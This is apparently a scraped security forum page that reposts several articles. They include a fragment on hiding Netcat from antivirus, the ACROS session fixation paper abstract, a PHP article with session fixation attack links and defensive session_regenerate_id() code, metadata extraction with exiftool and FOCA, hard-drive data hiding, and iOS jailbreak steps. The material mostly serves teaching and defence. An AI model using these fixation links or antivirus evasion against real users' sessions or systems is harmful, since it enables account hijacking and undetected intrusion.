a minimum defense line against script kiddies. If you know how to program it is VERY EASY to implement the above steps in the original source files. References http://dl.packetstormsecurity.net/papers/virus/Taking_Back_Netcat.pdf Sources You can download the original source code for Netcat for Windows from here. Posted by Andreas Venieris at 10:21 PM Sursa: 0x191 Unauthorized: Antivirus Hiding
  18. Session Fixation Vulnerability in Web-based Applications Mitja Kolšek mitja.kolsek@acrossecurity.com ACROS Security http://www.acrossecurity.com December 2002 (Revised February 2007 – the Acknowledgments section) Current copy available at http://www.acrossecurity.com/papers/session_fixation.pdf Abstract Many web-based applications employ some kind of session management to create a user-friendly environment. Sessions are stored on server and associated with respective users by session identifiers (IDs). Naturally, session IDs present an attractive target for attackers, who, by obtaining them, effectively hijack users’ identities. Knowing that, web servers are employing techniques for protecting session IDs from three classes of attacks: interception, prediction and brute-force attacks. This paper reveals a fourth class of attacks against session IDs: session fixation attacks. In a session fixation attack, the attacker fixes the user’s session ID before the user even logs into the target server, thereby eliminating the need to obtain the user’s session ID afterwards. There are many ways for the attacker to perform a session fixation attack, depending on the session ID transport mechanism (URL arguments, hidden form fields, cookies) and the vulnerabilities available in the target system or its immediate environment. The paper provides detailed information about exploiting vulnerable systems as well as recommendations for protecting them against session fixation attacks. Download: http://www.acros.si/papers/session_fixation.pdf
  19. Session Fixation Published in PHP Architect on 16 Feb 2004 Last Updated 16 Feb 2004 Pe vremea cand cautam asa ceva nu gaseam nimic... Security is gaining more and more attention among PHP professionals. As PHP continues to be a key component of the Web's future, malicious attackers will begin to target weaknesses in PHP applications more frequently, and developers need to be ready. I am very pleased to introduce Security Corner, a new monthly column that is focused completely on PHP security. Each month, I will discuss an important topic in great detail that can help you improve the security of your PHP applications and defend against various types of attacks. These topics will not be vague, general overviews, so if you are looking for an introduction to PHP application security, you will be better served by other sources of information such as the PHP manual's chapter on security. This month's topic is session fixation, a method of obtaining a valid session identifier without the need for predicting or capturing one. The name for this type of attack originates from a publication by Acros Security entitled Session Fixation Vulnerability in Web-based Applications, although the method itself predates the publication. I will expand on the basic idea of session fixation and demonstrate some methods of prevention, all in a PHP-specific context. Session Fixation Session security is a vast and complex topic. One of the fundamental principles of Web application security is to never trust data from the client. However, in order to achieve statefulness, the client must identify itself by sending a unique identifier. This fundamental conflict creates significant complexities for developers wanting to build secure, stateful applications. In fact, the session mechanism in any Web application is likely to be that application's most vulnerable feature, and session security is one of the most complex topics of Web application security on any platform. There are numerous types of session-based attacks. Many of these fit into a category called impersonation (session hijacking), where a malicious user attempts to access another user's session by posing as that user. At the very least, these types of attacks require that the malicious user obtain a valid session identifier, because this is the minimum amount of information that must be used for identification. There are at least three ways that a valid session identifier can be obtained by an attacker: Prediction Capture Fixation Prediction only involves guessing a valid session identifier. This guess can range from a wild guess to an educated one, depending upon the sophistication of the attack being used. With PHP's native session mechanism, valid session identifiers are extremely difficult to predict, so this is unlikely to be the weakest point in your implementation. Capturing a valid session identifier is much more common, and there are numerous types of attacks that use this approach. When a cookie is used to store the session identifier, a browser vulnerability might be exploited in order to obtain the session identifier. When a URL variable is used, the session identifier is more exposed, and there are many more potential methods of capture. For this reason, cookies are generally considered to be more secure than URL variables for session identifier propagation, although user preferences must be honored, and browser vulnerabilities exist in all versions of the most popular browser, Internet Explorer (see peacefire.org/security/iecookies/ and Passport Hacking Revisited for more information). Session fixation is a method that tricks a victim into using a session identifier chosen by the attacker. If successful, it represents the simplest method with which a valid session identifier can be obtained. A Simple Attack In the simplest case, a session fixation attack can use a link: <a href="http://host/index.php?PHPSESSID=1234"> Click here </a> Or a protocol-level redirect: <?php header('Location: http://host/index.php?PHPSESSID=1234'); ?> Other methods include the Refresh header, whether passed as a legitimate HTTP header or by using a meta tag's http-equiv attribute. The point is to get the user to visit a remote URL that includes a session identifier of the attacker's choosing. This is the first step in a basic attack, and the full-circle attack is illustrated in Figure 1. Figure 1: A typical session fixation attack If successful, the attacker is able to bypass the necessity of capturing or predicting a valid session identifier, and it is subsequently possible to launch additional and more dangerous types of attacks. Think you're not vulnerable? Consider the code in Listing 1. Save this code as session.php somewhere where you can test it. After you ensure that you have no existing cookies from the same host (clear all cookies if you're not certain), use a URL ending in session.php?PHPSESSID=1234 to visit the page. For example, http://host/session.php?PHPSESSID=1234. The script should output 0 on your screen upon your first visit. Reload the page a few times, and you should notice the number incrementing each time, indicating the number of previous visits. Listing 1 <?php session_start(); if (!isset($_SESSION['count'])) { $_SESSION['count'] = 0; } else { $_SESSION['count']++; } echo $_SESSION['count']; ?> With a different browser, or even an entirely different computer, go through the exact same initial steps. Upon visiting the URL for the first time, you will notice that you do not see 0. Rather, it recalls your previous session. Thus, you have impersonated the previous user. Now, if you consider that this all began with a session identifier being passed in the URL, you should see the basic danger that session fixation presents. Unlike a typical scenario, PHP did not generate the session identifier. There are a few shortcomings to this simplistic type of attack. The most important shortcoming is that the target application must use the session identifier passed to it, otherwise this attack will fail. If your session mechanism is nothing more than session_start(), your applications are vulnerable, as the previous demonstration illustrates. In order to prevent this specific vulnerability, you should always ensure that a new session identifier is used whenever you are starting a session for the first time. There are many ways this can be achieved, and one example is given in Listing 2 (this approach, too, has at least one weakness, so wait until you finish this article before deciding on the solution that best fits your needs). Listing 2 <?php session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?> If the code in Listing 2 is used to start all sessions, any existing session will always have a session variable named initiated that is already set. If this is not the case, the session is new. The call to session_regenerate_id() replaces the current session identifier with a new one, although it retains the old session information. So, if the attacker coerced a user into using an external link to your application that contains the session identifier, this approach will prevent the attacker from knowing the new session identifier, unless the session has already been initiated. A Sophisticated Attack A more sophisticated session fixation attack is one that first initiates a session on the target site, optionally keeps the session from timing out, and then executes the steps mentioned previously. An alternative to the approach used in Listing 2 is to call session_regenerate_id() whenever a user successfully logs in, since this is the moment the session data becomes sensitive for most applications. For example, whenever you validate a user's username and password, you might set a session variable that indicates success: $_SESSION['logged_in'] = true; Just prior to setting such a session variable, a call to session_regenerate_id() can help to protect against a session fixation attack: session_regenerate_id(); $_SESSION['logged_in'] = true; In fact, a good approach is to always regenerate the session identifier whenever the user's privilege level changes at all, including situations where the user must re-authenticate due to a timeout. By doing this, you can be sure that a session fixation vulnerability is not the weakest aspect of your access control mechanism. This approach is more secure than the previous example, because it adds another significant obstacle for an attacker to overcome, and it prevents sophisticated attacks where a valid session is first created and maintained. Unfortunately, it still may have at least one weakness, although your application design should already prevent it. An Advanced Attack In the most advanced type of session fixation attack, the attacker first obtains a valid account on the target application ? and this is typically only appealing when the attacker can do so anonymously. On some PHP applications, the login page is a separate script, such as login.php, and this script may not check the user's state, because it seems safer to assume that the user has not been authenticated. On the contrary, this approach can allow an attacker to create a session, log into the application with that session, optionally keep the session from timing out, and use the URL to the login page to launch the attack. If the login page accepts the new user's login but fails to regenerate the session identifier (because the privilege level has not changed), a vulnerability exists. This scenario may seem unlikely, but a thorough examination of your code with this situation in mind is well worth your time. There are two easy ways to prevent this particular issue: Have the login page recognize the user's state. Always regenerate the session identifier on the receiving script, regardless of the user's state. Until Next Time... A good generic recommendation for preventing session fixation attacks is to regenerate the session identifier anytime the user provides authentication information of any kind. Be wary of passing along such a simplistic catch-all suggestion, however, because misinterpretations are likely when someone is unfamiliar with the type of attack being prevented. There is no substitute for a good understanding of session fixation, and it is possible that the best prevention for your applications is not even mentioned in this article. Hopefully, you can now eliminate session fixation from your list of serious security risks with which to be concerned. If you develop a particularly creative method of prevention, I would love to hear it. Until next month, be safe. Sursa: Chris Shiflett ? Session Fixation
  20. [h=2]Extracting Metada From Files[/h] Penetration testers must be able to think outside of the box and to use whatever method is necessary in order to discover information about their targets.Malicious attackers will not stop in the conventional tactics and this should apply and to the penetration tester.Many organizations are uploading in their websites word documents and excel files without been aware that they expose sensitive information.This information is hidden in the metadata of the files.Also in application assessments (web or mobile) it is a good practice except of the common vulnerabilities to check and the metadata in order to see if this information can be used in a malicious way.In this article we will examine some of the tools that we can use for metadata extraction and what kind of information can unveil. [h=2]Exiftool[/h] One of the tools that can extract Metadata information is the exiftool.This tool is found in Backtrack distribution and can extract information from various file types like DOC,XLS,PPT,PNG and JPEG.Typically the information that we would look for are: Title Subject Author Comments Software Company Manager Hyperlinks Current User Below is the information that we have obtained from an image and the metadata from a doc file. Extracting metadata of an image – exiftool Metadata of a doc file Metadata of a doc file 2 [h=2]FOCA[/h] FOCA is another great tool for analyzing metadata in documents.It is a GUI based tool which make the process a lot of easier.The only thing that we have to do is to specify the domain that we want to search for files and the file type (doc,xls,pdf) and FOCA will perform the job for us very easily.Below you can see a screenshot of the metadata that we have extracted from a doc file.As you can see we have obtained a username an internal path and the operating system that the file has created. FOCA – Metadata Conclusion As we have seen in this article metadata can unveil important information which can be used in conjunction with other attacks.Companies should be aware about this exposure of information that exist in their documents and before they upload something on public domain must use the appropriate tools first in order to remove the metadata from their files and to mitigate the risk. Sursa: Extracting Metada From Files
  21. Nytro

    RST Harlem Shake

    Da... eMAG.ro - cea mai variata gama de produse
  22. Hiding Data in Hard-Drive’s Service Areas Ariel Berkman <ariel@recover.co.il> Recover Information Technologies LTD http://www.recover.co.il February 14, 2013 Contents 1 Introduction 2 Service Areas and Service Area Modules 3 Service Area Sizes 4 Other Reserved Areas 5 Data Hiding and Sanitation 6 Proof of Concept 7 Summary 1 Introduction In this paper we will demonstrate how spinning hard-drives’ service areas1 can be used to hide data from the operating-system (or any software using the standard OS’s API or the standard ATA commands to access the hard-drive). These reserved areas are used by hard-drive vendors to store modules that in turn operate the drive, and in a sense, together with the ROM, serve as the hard-drive’s internal storage and OS. By sending Vendor Specific Commands (VSCs) directly to the hard-drive, one can manipulate these areas to read and write data that are otherwise inaccessible. This should not be confused with DCO2 or HPA3 which can be easily detected, removed and accessed via standard ATA commands. Download: http://www.recover.co.il/SA-cover/SA-cover.pdf
  23. Nytro

    Secitc 2013

    Par sa fie cateva chestii interesante: http://www.secitc.eu/wp-content/uploads/2012/05/ConferenceSchedule2012.pdf
  24. Nytro

    Secitc 2013

    SECITC 2013 Conference sections: Cryptographic Algorithms and Protocols Security Technologies for IT&C Information Security Management Cyber Defense Digital Forensic Conference Committees: We are proud to have in the conference’s committees, personalities from: Belgium, Canada, Czech Republic, France, Greece, Romania, UK, U.S.A. For the complete list, please visit our Commitees web page. Conference papers: will be published in a the printed and electronic volume of the Conference Proceedings with ISSN Selected papers from the conference will be considered for publication in extenso, in the supporting journals according with their reviewing policy. The supporting journals are indexed in international databases such as: EBSCO, DOAJ, Cabbels, Google Scholar, Index Copernicus, Cornell University Library. Journal of Mobile, Embedded and Distributed Systems SECITC 2013 will accept as full papers only a small amount of submissions. Additionally, it is possible to accept the submissions as short papers and as posters. The conference registration fee is 100 € (EURO) for non-students participants. Info: 6th International Conference on Security for Information Technology and Communications .................................................................................. Hmm, veniti?
  25. [h=1]Jailbreak 6.1.1 With Evasi0n 1.3 untethered for iPhone 4S released[/h]Freddy Kellison-Linn February 11, 2013 The evad3rs have just released the newest iteration of their iOS 6 untethered jailbreak, which works for the newest update for iOS 6, 6.1.1. This update was rushed out early for iPhone 4S in order to fix spotty 3G issues on the device, and is still fully jailbreakable with the current exploits. Read on to find out how to jailbreak iOS 6.1.1 untethered. Before you start Make sure you update to iOS 6.1.1 with a clean, full update from iTunes, preferably a full restore, the evad3rs have warned NOT to use OTA updating, as the jailbreak may not work if you do this. 1. Download the Evasi0n software, and open it on your computer (links here). You should see this screen (note that your copy of evasi0n should say 1.3): 2. Connect your device (Evasi0n should recognize it automatically). Evasi0n will warn you about any open applications that 3. Click “Jailbreak” and let the process begin 4. Partway through, Evasi0n will notify you to tap a new icon on your device. Unlock the screen and find the new application called “Jailbreak”. Tap that and your jailbreak will continue. 5. Wait for evasion to finish, and your device will reboot, showing the evasi0n logo and varios status messages. 6. When your device reboots, Cydia will be installed and your device will be jailbroken! Thats it! As with all untethered jailbreaks, there is no danger of rebooting your device, so there is no final step to boot tethered! What to do after you jailbreak: Best Evasi0n jailbreak tweaks, #2 , best themes Sursa: Jailbreak 6.1.1 iPhone 4S: Evasi0n 1.3 untethered jailbreak released
×
×
  • Create New...